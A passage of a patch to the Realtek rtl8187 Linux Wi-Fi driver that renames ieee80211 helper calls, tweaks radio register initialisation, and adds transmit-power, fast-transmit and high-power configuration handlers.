//2005.11.17, write_nic_byte(dev, TX_GAIN_OFDM, ZEBRA2_CCK_OFDM_GAIN_SETTING[ofdm_power_level]); - + force_pci_posting(dev); mdelay(1); //write_nic_byte(dev, TX_AGC_CONTROL,4); @@ -483,39 +511,39 @@ void rtl8225_set_mode(struct net_device *dev, short modeb) { write_phy_ofdm(dev, 0x15, (modeb ? 0x0 : 0x40)); - write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); + write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); } #endif void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; - + rtl8225z2_SetTXPowerLevel(dev, ch); - + write_rtl8225(dev, 0x7, rtl8225_chan[ch]); - + force_pci_posting(dev); mdelay(10); - + write_nic_byte(dev,SIFS,0x22);// SIFS: 0x22 - + if(gset) - write_nic_byte(dev,DIFS,20); //DIFS: 20 + write_nic_byte(dev,DIFS,20); //DIFS: 20 else - write_nic_byte(dev,DIFS,0x24); //DIFS: 36 - + write_nic_byte(dev,DIFS,0x24); //DIFS: 36 + if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 - + else write_nic_byte(dev,SLOT,0x14); //SLOT: 20 (0x14) - - + + if(gset){ write_nic_byte(dev,EIFS,91 - 20); // EIFS: 91 (0x5B) write_nic_byte(dev,CW_VAL,0x73); //CW VALUE: 0x37 @@ -529,68 +557,68 @@ } #if 0 -void rtl8225_host_pci_init(struct net_device *dev) +void rtl8225_host_pci_init(struct net_device *dev) { write_nic_word(dev, RFPinsOutput, 0x480); - + rtl8185_rf_pins_enable(dev); - + //if(priv->card_8185 == 2 && priv->enable_gpio0 ) /* version D */ //write_nic_word(dev, RFPinsSelect, 0x88); //else write_nic_word(dev, RFPinsSelect, 0x88 | SW_CONTROL_GPIO); /* 0x488 | SW_CONTROL_GPIO */ - + write_nic_byte(dev, GP_ENABLE, 0); - + force_pci_posting(dev); mdelay(200); - + write_nic_word(dev, GP_ENABLE, 0xff & (~(1<<6))); /* bit 6 is for RF on/off detection */ - + } -void rtl8225_host_usb_init(struct net_device *dev) +void rtl8225_host_usb_init(struct net_device *dev) { write_nic_byte(dev,RFPinsSelect+1,0); write_nic_byte(dev,GPIO,0); - + write_nic_byte_E(dev,0x53,read_nic_byte_E(dev,0x53) | (1<<7)); - + write_nic_byte(dev,RFPinsSelect+1,4); write_nic_byte(dev,GPIO,0x20); write_nic_byte(dev,GP_ENABLE,0); - - /* Config BB & RF */ + + /* Config BB & RF */ write_nic_word(dev, RFPinsOutput, 0x80); write_nic_word(dev, RFPinsSelect, 0x80); write_nic_word(dev, RFPinsEnable, 0x80); - + mdelay(100); - mdelay(1000); + mdelay(1000); } #endif -void rtl8225z2_rf_init(struct net_device *dev) +void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; u32 data,addr; - + priv->chan = channel; rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_type == USB) rtl8225_host_usb_init(dev); @@ -598,42 +626,42 @@ rtl8225_host_pci_init(dev); write_nic_dword(dev, RF_TIMING, 0x000a8008); - + brsr = read_nic_word(dev, BRSR); - - write_nic_word(dev, BRSR, 0xffff); + + write_nic_word(dev, BRSR, 0xffff); write_nic_dword(dev, RF_PARA, 0x100044); - + #if 1 //0->1 rtl8180_set_mode(dev, EPROM_CMD_CONFIG); write_nic_byte(dev, CONFIG3, 0x44); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); #endif - - + + rtl8185_rf_pins_enable(dev); // mdelay(1000); write_rtl8225(dev, 0x0, 0x2bf); mdelay(1); - - + + write_rtl8225(dev, 0x1, 0xee0); mdelay(1); write_rtl8225(dev, 0x2, 0x44d); mdelay(1); write_rtl8225(dev, 0x3, 0x441); mdelay(1); - + write_rtl8225(dev, 0x4, 0x8c3);mdelay(1); - - - + + + write_rtl8225(dev, 0x5, 0xc72);mdelay(1); // } - + write_rtl8225(dev, 0x6, 0xe6); mdelay(1); write_rtl8225(dev, 0x7, ((priv->card_type == USB)? 0x82a : rtl8225_chan[channel])); mdelay(1); @@ -653,28 +681,28 @@ write_rtl8225(dev, 0xe, 0x2b); mdelay(1); - write_rtl8225(dev, 0xf, 0x114); - - + write_rtl8225(dev, 0xf, 0x114); + + mdelay(100); - - + + //if(priv->card_type != USB) /* maybe not needed even for 8185 */ -// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); - +// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); + write_rtl8225(dev, 0x0, 0x1b7); - + for(i=0;i<95;i++){ write_rtl8225(dev, 0x1, (u8)(i+1)); - + #if 0 - if(priv->phy_ver == 1) + if(priv->phy_ver == 1) /* version A */ write_rtl8225(dev, 0x2, rtl8225a_rxgain[i]); else #endif /* version B & C & D*/ - + write_rtl8225(dev, 0x2, rtl8225z2_rxgain[i]); } write_rtl8225(dev, 0x3, 0x80); @@ -683,16 +711,16 @@ write_rtl8225(dev, 0x0, 0xb7); write_rtl8225(dev, 0x2, 0xc4d); - + if(priv->card_type == USB){ // force_pci_posting(dev); mdelay(200); - + write_rtl8225(dev, 0x2, 0x44d); - + // force_pci_posting(dev); mdelay(100); - + }//End of if(priv->card_type == USB) /* FIXME!! rtl8187 we have to check if calibrarion * is successful and eventually cal. again (repeat @@ -713,23 +741,23 @@ } } //force_pci_posting(dev); - - mdelay(200); //200 for 8187 - - + + mdelay(200); //200 for 8187 + + // //if(priv->card_type != USB){ // write_rtl8225(dev, 0x2, 0x44d); // write_rtl8225(dev, 0x7, rtl8225_chan[channel]); // write_rtl8225(dev, 0x2, 0x47d); -// +// // force_pci_posting(dev); // mdelay(100); -// +// // write_rtl8225(dev, 0x2, 0x44d); // //} - - write_rtl8225(dev, 0x0, 0x2bf); - + + write_rtl8225(dev, 0x0, 0x2bf); + if(priv->card_type != USB) rtl8185_rf_pins_enable(dev); //set up ZEBRA AGC table, 2005.11.17, @@ -744,20 +772,20 @@ mdelay(1); } -#if 0 +#if 0 for(i=0;i<128;i++){ write_phy_ofdm(dev, 0xb, rtl8225_agc[i]); - - mdelay(1); + + mdelay(1); write_phy_ofdm(dev, 0xa, (u8)i+ 0x80); - - mdelay(1); + + mdelay(1); } #endif - + force_pci_posting(dev); mdelay(1); - + write_phy_ofdm(dev, 0x0, 0x1); mdelay(1); write_phy_ofdm(dev, 0x1, 0x2); mdelay(1); write_phy_ofdm(dev, 0x2, ((priv->card_type == USB)? 0x42 : 0x62)); mdelay(1); @@ -771,20 +799,20 @@ write_phy_ofdm(dev, 0xa, 0x8); mdelay(1); - //write_phy_ofdm(dev, 0x18, 0xef); + //write_phy_ofdm(dev, 0x18, 0xef); // } //} write_phy_ofdm(dev, 0xb, 0x80); mdelay(1); write_phy_ofdm(dev, 0xc, 0x1);mdelay(1); - + //if(priv->card_type != USB) - write_phy_ofdm(dev, 0xd, 0x43); - + write_phy_ofdm(dev, 0xd, 0x43); + write_phy_ofdm(dev, 0xe, 0xd3);mdelay(1); - + #if 0 if(priv->card_8185 == 1){ if(priv->card_8185_Bversion) @@ -796,17 +824,17 @@ write_phy_ofdm(dev, 0xf, 0x38);mdelay(1); /*ver D & 8187*/ // } - + // if(priv->card_8185 == 1 && priv->card_8185_Bversion) // write_phy_ofdm(dev, 0x10, 0x04);/*ver B*/ // else write_phy_ofdm(dev, 0x10, 0x84);mdelay(1); /*ver C & D & 8187*/ - + write_phy_ofdm(dev, 0x11, 0x07);mdelay(1); /*agc resp time 700*/ - + // if(priv->card_8185 == 2){ /* Ver D & 8187*/ write_phy_ofdm(dev, 0x12, 0x20);mdelay(1); @@ -824,47 +852,46 @@ write_phy_ofdm(dev, 0x15, 0x40); mdelay(1); write_phy_ofdm(dev, 0x16, 0x0); mdelay(1); write_phy_ofdm(dev, 0x17, 0x40); mdelay(1); - + // if (priv->card_type == USB) // write_phy_ofdm(dev, 0x18, 0xef); - + write_phy_ofdm(dev, 0x18, 0xef);mdelay(1); - + write_phy_ofdm(dev, 0x19, 0x19); mdelay(1); write_phy_ofdm(dev, 0x1a, 0x20); mdelay(1); write_phy_ofdm(dev, 0x1b, 0x15);mdelay(1); - + write_phy_ofdm(dev, 0x1c, 0x4);mdelay(1); write_phy_ofdm(dev, 0x1d, 0xc5);mdelay(1); //2005.11.17, - + write_phy_ofdm(dev, 0x1e, 0x95);mdelay(1); write_phy_ofdm(dev, 0x1f, 0x75); mdelay(1); // } - + write_phy_ofdm(dev, 0x20, 0x1f);mdelay(1); write_phy_ofdm(dev, 0x21, 0x17);mdelay(1); - + write_phy_ofdm(dev, 0x22, 0x16);mdelay(1); // if(priv->card_type != USB) write_phy_ofdm(dev, 0x23, 0x80);mdelay(1); //FIXME maybe not needed // <> - + write_phy_ofdm(dev, 0x24, 0x46); mdelay(1); write_phy_ofdm(dev, 0x25, 0x00); mdelay(1); write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); write_phy_ofdm(dev, 0x27, 0x88); mdelay(1); - + // <> Set init. gain to m74dBm. - rtl8225z2_set_gain(dev,4); - + write_phy_cck(dev, 0x0, 0x98); mdelay(1); write_phy_cck(dev, 0x3, 0x20); mdelay(1); write_phy_cck(dev, 0x4, 0x7e); mdelay(1); @@ -875,6 +902,9 @@ /* Ver C & D & 8187*/ write_phy_cck(dev, 0x8, 0x2e);mdelay(1); + write_phy_cck(dev, 0x9, 0x11);mdelay(1); + write_phy_cck(dev, 0xa, 0x17);mdelay(1); + write_phy_cck(dev, 0xb, 0x11);mdelay(1); write_phy_cck(dev, 0x10, ((priv->card_type == USB) ? 0x9b: 0x93)); mdelay(1); write_phy_cck(dev, 0x11, 0x88); mdelay(1); @@ -885,52 +915,59 @@ else #endif write_phy_cck(dev, 0x13, 0xd0); /* Ver C & D & 8187*/ - - write_phy_cck(dev, 0x19, 0x0); - write_phy_cck(dev, 0x1a, 0xa0); - write_phy_cck(dev, 0x1b, 0x8); - write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ - - write_phy_cck(dev, 0x41, 0x8d);mdelay(1); - +// write_phy_cck(dev, 0x19, 0x0); +// write_phy_cck(dev, 0x1a, 0xa0); +// write_phy_cck(dev, 0x1b, 0x8); +// write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ + write_phy_cck(dev, 0x19, 0x0); mdelay(1); + write_phy_cck(dev, 0x1a, 0xa0); mdelay(1); + write_phy_cck(dev, 0x1b, 0x8); mdelay(1); + write_phy_cck(dev, 0x1d, 0x0); mdelay(1); + write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ mdelay(1); + write_phy_cck(dev, 0x41, 0x86); mdelay(1); + + +// write_phy_cck(dev, 0x41, 0x8d);mdelay(1); + + write_phy_cck(dev, 0x42, 0x15); mdelay(1); write_phy_cck(dev, 0x43, 0x18); mdelay(1); - - + + write_phy_cck(dev, 0x44, 0x36); mdelay(1); write_phy_cck(dev, 0x45, 0x35); mdelay(1); write_phy_cck(dev, 0x46, 0x2e); mdelay(1); write_phy_cck(dev, 0x47, 0x25); mdelay(1); write_phy_cck(dev, 0x48, 0x1c); mdelay(1); write_phy_cck(dev, 0x49, 0x12); mdelay(1); - write_phy_cck(dev, 0x4a, 0x9); mdelay(1); - write_phy_cck(dev, 0x4b, 0x4); mdelay(1); + write_phy_cck(dev, 0x4a, 0x09); mdelay(1); + write_phy_cck(dev, 0x4b, 0x04); mdelay(1); write_phy_cck(dev, 0x4c, 0x5);mdelay(1); write_nic_byte(dev, 0x5b, 0x0d); mdelay(1); - + // <> // // TESTR 0xb 8187 // write_phy_cck(dev, 0x10, 0x93);// & 0xfb); -// +// // //if(priv->card_type != USB){ // write_phy_ofdm(dev, 0x2, 0x62); // write_phy_ofdm(dev, 0x6, 0x0); // write_phy_ofdm(dev, 0x8, 0x0); // //} - + rtl8225z2_SetTXPowerLevel(dev, channel); - + write_phy_cck(dev, 0x10, 0x9b); mdelay(1); /* Rx ant A, 0xdb for B */ write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); /* Rx ant A, 0x10 for B */ - + rtl8185_tx_antenna(dev, 0x3); /* TX ant A, 0x0 for B */ - - /* switch to high-speed 3-wire + + /* switch to high-speed 3-wire * last digit. 2 for both cck and ofdm */ if(priv->card_type == USB) @@ -943,23 +980,23 @@ // if(priv->card_type != USB) // rtl8225_set_gain(dev, 4); /* FIXME this '1' is random */ // <> // rtl8225_set_mode(dev, 1); /* FIXME start in B mode */ // <> -// +// // /* make sure is waken up! */ // write_rtl8225(dev,0x4, 0x9ff); -// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); +// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); // rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8225_rf_set_chan(dev, priv->chan); //write_nic_word(dev,BRSR,brsr); - + //rtl8225z2_rf_set_mode(dev); } -void rtl8225z2_rf_set_mode(struct net_device *dev) +void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->ieee80211->mode == IEEE_A) { write_rtl8225(dev, 0x5, 0x1865); @@ -970,15 +1007,15 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x10000000); }else{ - + write_rtl8225(dev, 0x5, 0x1864); write_nic_dword(dev, RF_PARA, 0x10044); write_nic_dword(dev, RF_TIMING, 0xa8008); @@ -987,12 +1024,12 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x04000002); } } diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8180_wx.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_wx.c --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8180_wx.c 2006-06-05 22:58:02.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_wx.c 2008-08-12 13:11:32.000000000 -0400 @@ -1,19 +1,19 @@ -/* +/* This file contains wireless extension handlers. This is part of rtl8180 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part + + Parts of this driver are based on the GPL part of the official realtek driver. - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver. - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -21,20 +21,21 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 u32 rtl8180_rates[] = {1000000,2000000,5500000,11000000, 6000000,9000000,12000000,18000000,24000000,36000000,48000000,54000000}; - + static int r8180_wx_get_freq(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -45,28 +46,28 @@ { int *parms = (int *)b; int bi = parms[0]; - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); - + priv->ieee80211->beacon_interval=bi; rtl8180_commit(dev); up(&priv->wx_sem); - - return 0; + + return 0; } static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; - + priv->ieee80211->force_associate = (parms[0] > 0); - + return 0; } @@ -75,108 +76,228 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } -static int r8180_wx_get_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_set_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); - up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_rawtx(struct net_device *dev, - struct iw_request_info *info, - union iwreq_data *wrqu, char *extra) +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i=0; down(&priv->wx_sem); - - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); - + wrqu->power.value = 0; + for(i=0; i<15; i++) + { + if(priv->chtxpwr[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr_ofdm[i]; + } + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; up(&priv->wx_sem); - + + return 0; +} + +#if 1 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i=0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(!(priv->highpower) && wrqu->power.value > priv->txpwr_max) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > 35) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < 0) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i] - (priv->txpwr_max - wrqu->power.value); +// if(priv->chtxpwr[i] > priv->chtxpwr_orig[i]) priv->chtxpwr[i] = 0; + + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i] - (priv->txpwr_max - wrqu->power.value); +// if(priv->chtxpwr_ofdm[i] > priv->chtxpwr_ofdm_orig[i]) priv->chtxpwr_ofdm[i] = 0; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: + up(&priv->wx_sem); + return ret; - + } +#endif -static int r8180_wx_set_crcmon(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_crcmon(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; down(&priv->wx_sem); - - if(enable) + + if(enable) priv->crcmon=1; - else + else priv->crcmon=0; - DMESG("bad CRC in monitor mode are %s", + DMESG("bad CRC in monitor mode are %s", priv->crcmon ? "accepted" : "rejected"); if(prev != priv->crcmon && priv->up){ rtl8180_down(dev); rtl8180_up(dev); } - + + up(&priv->wx_sem); + + return 0; +} + +static int r8180_wx_set_fasttx(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int *parms = (int *)extra; + int enable = (parms[0] > 0); + short prev = priv->fasttx; + + down(&priv->wx_sem); + + if(enable) + priv->fasttx=1; + else + priv->fasttx=0; + + DMESG("Transmission method (regarding speed) set to: %s", + priv->fasttx ? "fast" : "normal"); + + if(prev != priv->fasttx && priv->up){ + rtl8180_down(dev); + rtl8180_up(dev); + } + up(&priv->wx_sem); - + + return 0; +} + +static int r8180_wx_set_highpower(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int *parms = (int *)extra; + int enable = (parms[0] > 0); + int i=0; + short prev = priv->highpower; + + down(&priv->wx_sem); + + if(enable) + priv->highpower=1; + else + priv->highpower=0; + + DMESG("Increasable transmission power %s", + priv->highpower ? "enabled" : "disabled"); + + if( (prev != priv->highpower) && !(priv->highpower) && (priv->chtxpwr[1] > priv->chtxpwr_orig[1]) ) + { + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i]; + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i]; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + wrqu->power.value = priv->txpwr_max; + } + + up(&priv->wx_sem); + return 0; } static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); + rtl8187_set_rxconf(dev); - + up(&priv->wx_sem); return ret; } -static int rtl8180_wx_get_range(struct net_device *dev, - struct iw_request_info *info, +static int rtl8180_wx_get_range(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -186,26 +307,26 @@ /* Let's try to keep this struct in the same order as in * linux/include/wireless.h */ - + /* TODO: See what values we can set, and remove the ones we can't * set, or fill them with some default data. */ /* ~5 Mb/s real (802.11b) */ - range->throughput = 5 * 1000 * 1000; + range->throughput = 5 * 1000 * 1000; // TODO: Not used in 802.11b? // range->min_nwid; /* Minimal NWID we are able to set */ // TODO: Not used in 802.11b? // range->max_nwid; /* Maximal NWID we are able to set */ - + /* Old Frequency (backward compat - moved lower ) */ -// range->old_num_channels; +// range->old_num_channels; // range->old_num_frequency; // range->old_freq[6]; /* Filler to keep "version" at the same offset */ if(priv->rf_set_sens != NULL) range->sensitivity = priv->max_sens; /* signal level threshold range */ - + range->max_qual.qual = 100; /* TODO: Find real max RSSI and stick here */ range->max_qual.level = 0; @@ -219,14 +340,14 @@ range->avg_qual.updated = 7; /* Updated all three */ range->num_bitrates = RATE_COUNT; - + for (i = 0; i < RATE_COUNT && i < IW_MAX_BITRATES; i++) { range->bitrate[i] = rtl8180_rates[i]; } - + range->min_frag = MIN_FRAG_THRESHOLD; range->max_frag = MAX_FRAG_THRESHOLD; - + range->pm_capa = 0; range->we_version_compiled = WIRELESS_EXT; @@ -243,18 +364,18 @@ range->num_channels = 14; for (i = 0, val = 0; i < 14; i++) { - + // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { // FIXME: do we need to set anything for channels // we don't use ? } - + if (val == IW_MAX_FREQUENCIES) break; } @@ -267,15 +388,15 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + if(!priv->up) return -1; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } @@ -286,50 +407,50 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(!priv->up) return -1; - + down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); - + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_essid(struct net_device *dev, +static int r8180_wx_set_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_essid(struct net_device *dev, +static int r8180_wx_get_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); - + return ret; } @@ -338,30 +459,30 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); - + + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_name(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_name(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } -static int r8180_wx_set_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -369,7 +490,7 @@ if (wrqu->frag.value < MIN_FRAG_THRESHOLD || wrqu->frag.value > MAX_FRAG_THRESHOLD) return -EINVAL; - + priv->ieee80211->fts = wrqu->frag.value & ~0x1; } @@ -377,11 +498,11 @@ } -static int r8180_wx_get_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,49 +518,49 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); - + + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); + up(&priv->wx_sem); return ret; - + } - -static int r8180_wx_get_wap(struct net_device *dev, - struct iw_request_info *info, + +static int r8180_wx_get_wap(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_get_enc(struct net_device *dev, - struct iw_request_info *info, +static int 